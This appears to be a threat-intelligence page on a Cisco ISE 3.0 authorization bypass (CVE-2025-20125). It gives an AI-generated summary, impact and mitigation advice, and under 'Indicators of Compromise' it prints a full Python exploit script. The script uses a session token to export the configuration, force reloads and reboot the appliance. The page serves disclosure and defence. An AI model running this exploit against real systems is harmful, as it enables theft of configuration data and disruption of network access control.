Cisco ISE 3.0 - Authorization Bypass
Cisco ISE 3.0 - Authorization Bypass
AI Analysis
Technical Summary
The reported security threat concerns an authorization bypass vulnerability in Cisco Identity Services Engine (ISE) version 3.0. Cisco ISE is a critical network security policy management and access control platform widely used in enterprise environments to enforce security policies for wired, wireless, and VPN connections. An authorization bypass vulnerability implies that an attacker can circumvent the normal authorization mechanisms, potentially gaining elevated privileges or unauthorized access to sensitive functions or data within the Cisco ISE system. This can lead to unauthorized configuration changes, policy manipulation, or access to restricted network segments. The exploit is remotely executable, which increases its risk profile as attackers do not require local access to the system. The presence of publicly available exploit code written in Python further lowers the barrier for exploitation by threat actors. Although no specific affected versions are listed beyond Cisco ISE 3.0, the lack of patch information suggests that a fix may not yet be available or publicly disclosed. The absence of known exploits in the wild indicates that active exploitation has not been observed, but the availability of exploit code raises the likelihood of future attacks. Overall, this vulnerability represents a significant risk to organizations relying on Cisco ISE 3.0 for network access control and policy enforcement.
Potential Impact
For European organizations, the impact of this authorization bypass vulnerability in Cisco ISE 3.0 could be substantial. Cisco ISE is often deployed in large enterprises, government agencies, and critical infrastructure sectors to manage network access and enforce security policies. Exploitation could allow attackers to bypass access controls, leading to unauthorized network access, lateral movement within corporate networks, and potential data exfiltration. This could compromise the confidentiality and integrity of sensitive information and disrupt availability by altering network policies or configurations. Given the reliance on Cisco ISE for regulatory compliance (e.g., GDPR) and network segmentation, exploitation could also result in regulatory penalties and reputational damage. The remote nature of the exploit increases the attack surface, especially for organizations with exposed management interfaces or insufficient network segmentation. The availability of exploit code in Python may accelerate attack attempts, increasing urgency for mitigation.
Mitigation Recommendations
European organizations should take immediate, specific actions to mitigate this threat beyond generic advice: 1) Conduct an urgent audit to identify all Cisco ISE 3.0 deployments and verify exposure of management interfaces to untrusted networks. 2) Restrict access to Cisco ISE administrative interfaces using network segmentation, VPNs, or IP whitelisting to limit exposure. 3) Implement strict role-based access controls and monitor for anomalous authorization attempts or policy changes within Cisco ISE logs. 4) Engage with Cisco support or security advisories to obtain any available patches or workarounds, and apply them promptly once available. 5) Deploy network intrusion detection/prevention systems (IDS/IPS) with signatures tuned to detect exploitation attempts of this vulnerability. 6) Educate security teams about the availability of Python exploit code to enhance monitoring and incident response readiness. 7) Consider temporary compensating controls such as multi-factor authentication for administrative access and enhanced logging and alerting on Cisco ISE systems.
Affected Countries
Germany, France, United Kingdom, Netherlands, Italy, Spain, Belgium, Sweden, Poland, Switzerland
Indicators of Compromise
- exploit-code: # Exploit Title: Cisco ISE 3.0 - Authorization Bypass # Exploit Author: @ibrahimsql ibrahimsql.com # Exploit Author's github: https://github.com/ibrahmsql # Description: Cisco ISE API Authorization Bypass # CVE: CVE-2025-20125 # Vendor Homepage: https://www.cisco.com/ # Requirements: requests>=2.25.0, urllib3>=1.26.0 # Usage: python3 CVE-2025-20125.py --url https://ise.target.com --session TOKEN --read #!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import sys import argparse import urllib3 urllib3.disable_warnings() def banner(): print(r""" ___ ____ ___ ___ _____ ____ ___ ____ / __)(_ _)/ __) / __)( _ ) (_ _)/ __)( ___) ( (__ _)(_ \__ \( (__ )(_)( _)(_ \__ \ )__) \___)(____)(___/ \___)(_____) (____)(___/(____) Cisco ISE Authorization Bypass CVE-2025-20125 Author: ibrahmsql | github.com/ibrahmsql """) def exploit_config_read(base_url, session_token): """ CVE-2025-20125: Read sensitive configuration """ endpoint = f"{base_url}/api/v1/admin/config/export" headers = { "Cookie": f"ISESSIONID={session_token}", "User-Agent": "Mozilla/5.0 (compatible; ISE-Exploit)" } print(f"[+] Attempting to read configuration from: {endpoint}") try: r = requests.get(endpoint, headers=headers, verify=False, timeout=10) if r.status_code == 200: print("[+] Configuration read successful!") print(f"[+] Response length: {len(r.text)} bytes") if r.text: print(f"[+] Config preview: {r.text[:300]}...") return True else: print(f"[-] Config read failed: {r.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def exploit_config_reload(base_url, session_token): """ CVE-2025-20125: Force configuration reload """ endpoint = f"{base_url}/api/v1/admin/reload" headers = { "Cookie": f"ISESSIONID={session_token}", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; ISE-Exploit)" } print(f"[+] Sending config reload request to: {endpoint}") try: r = requests.post(endpoint, headers=headers, verify=False, timeout=10) if r.status_code in (200, 204): print("[+] Configuration reload accepted!") print("[+] System may be restarting services...") return True elif r.status_code == 401: print("[-] Authentication failed - invalid session token") elif r.status_code == 403: print("[-] Access denied - insufficient privileges") else: print(f"[-] Reload failed: {r.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def exploit_system_reboot(base_url, session_token): """ CVE-2025-20125: Force system reboot """ endpoint = f"{base_url}/api/v1/admin/reboot" headers = { "Cookie": f"ISESSIONID={session_token}", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; ISE-Exploit)" } print(f"[+] Sending system reboot request to: {endpoint}") print("[!] WARNING: This will reboot the target system!") try: r = requests.post(endpoint, headers=headers, verify=False, timeout=10) if r.status_code in (200, 204): print("[+] System reboot initiated!") print("[+] Target system should be rebooting now...") return True else: print(f"[-] Reboot failed: {r.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def main(): parser = argparse.ArgumentParser( description="CVE-2025-20125 - Cisco ISE Authorization Bypass", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 CVE-2025-20125.py --url https://ise.company.com --session ABCD1234 --read python3 CVE-2025-20125.py --url https://10.0.0.1:9060 --session TOKEN123 --reload python3 CVE-2025-20125.py --url https://ise.target.com --session XYZ789 --reboot """ ) parser.add_argument("--url", required=True, help="Base URL of Cisco ISE appliance") parser.add_argument("--session", required=True, help="Authenticated ISE session token") parser.add_argument("--read", action="store_true", help="Read sensitive configuration") parser.add_argument("--reload", action="store_true", help="Force configuration reload") parser.add_argument("--reboot", action="store_true", help="Force system reboot") args = parser.parse_args() banner() # URL validation if not args.url.startswith(('http://', 'https://')): print("[-] URL must start with http:// or https://") sys.exit(1) # At least one action must be specified if not any([args.read, args.reload, args.reboot]): print("[-] Specify at least one action: --read, --reload, or --reboot") sys.exit(1) success = False if args.read: success |= exploit_config_read(args.url, args.session) if args.reload: success |= exploit_config_reload(args.url, args.session) if args.reboot: # Confirm reboot action confirm = input("[!] Are you sure you want to reboot the target? (y/N): ") if confirm.lower() in ['y', 'yes']: success |= exploit_system_reboot(args.url, args.session) else: print("[-] Reboot cancelled by user") if success: print("\n[+] At least one exploit succeeded!") else: print("\n[-] All exploits failed") sys.exit(1) if __name__ == "__main__": main()
Cisco ISE 3.0 - Authorization Bypass
Description
Cisco ISE 3.0 - Authorization Bypass
AI-Powered Analysis
Technical Analysis
The reported security threat concerns an authorization bypass vulnerability in Cisco Identity Services Engine (ISE) version 3.0. Cisco ISE is a critical network security policy management and access control platform widely used in enterprise environments to enforce security policies for wired, wireless, and VPN connections. An authorization bypass vulnerability implies that an attacker can circumvent the normal authorization mechanisms, potentially gaining elevated privileges or unauthorized access to sensitive functions or data within the Cisco ISE system. This can lead to unauthorized configuration changes, policy manipulation, or access to restricted network segments. The exploit is remotely executable, which increases its risk profile as attackers do not require local access to the system. The presence of publicly available exploit code written in Python further lowers the barrier for exploitation by threat actors. Although no specific affected versions are listed beyond Cisco ISE 3.0, the lack of patch information suggests that a fix may not yet be available or publicly disclosed. The absence of known exploits in the wild indicates that active exploitation has not been observed, but the availability of exploit code raises the likelihood of future attacks. Overall, this vulnerability represents a significant risk to organizations relying on Cisco ISE 3.0 for network access control and policy enforcement.
Potential Impact
For European organizations, the impact of this authorization bypass vulnerability in Cisco ISE 3.0 could be substantial. Cisco ISE is often deployed in large enterprises, government agencies, and critical infrastructure sectors to manage network access and enforce security policies. Exploitation could allow attackers to bypass access controls, leading to unauthorized network access, lateral movement within corporate networks, and potential data exfiltration. This could compromise the confidentiality and integrity of sensitive information and disrupt availability by altering network policies or configurations. Given the reliance on Cisco ISE for regulatory compliance (e.g., GDPR) and network segmentation, exploitation could also result in regulatory penalties and reputational damage. The remote nature of the exploit increases the attack surface, especially for organizations with exposed management interfaces or insufficient network segmentation. The availability of exploit code in Python may accelerate attack attempts, increasing urgency for mitigation.
Mitigation Recommendations
European organizations should take immediate, specific actions to mitigate this threat beyond generic advice: 1) Conduct an urgent audit to identify all Cisco ISE 3.0 deployments and verify exposure of management interfaces to untrusted networks. 2) Restrict access to Cisco ISE administrative interfaces using network segmentation, VPNs, or IP whitelisting to limit exposure. 3) Implement strict role-based access controls and monitor for anomalous authorization attempts or policy changes within Cisco ISE logs. 4) Engage with Cisco support or security advisories to obtain any available patches or workarounds, and apply them promptly once available. 5) Deploy network intrusion detection/prevention systems (IDS/IPS) with signatures tuned to detect exploitation attempts of this vulnerability. 6) Educate security teams about the availability of Python exploit code to enhance monitoring and incident response readiness. 7) Consider temporary compensating controls such as multi-factor authentication for administrative access and enhanced logging and alerting on Cisco ISE systems.
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Technical Details
- Edb Id
- 52397
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Cisco ISE 3.0 - Authorization Bypass
# Exploit Title: Cisco ISE 3.0 - Authorization Bypass # Exploit Author: @ibrahimsql ibrahimsql.com # Exploit Author's github: https://github.com/ibrahmsql # Description: Cisco ISE API Authorization Bypass # CVE: CVE-2025-20125 # Vendor Homepage: https://www.cisco.com/ # Requirements: requests>=2.25.0, urllib3>=1.26.0 # Usage: python3 CVE-2025-20125.py --url https://ise.target.com --session TOKEN --read #!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import sys import argparse im... (5551 more characters)
Threat ID: 689a95b8ad5a09ad002b09ad
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 8/12/2025, 1:18:53 AM
Last updated: 8/12/2025, 11:32:07 AM
Views: 6
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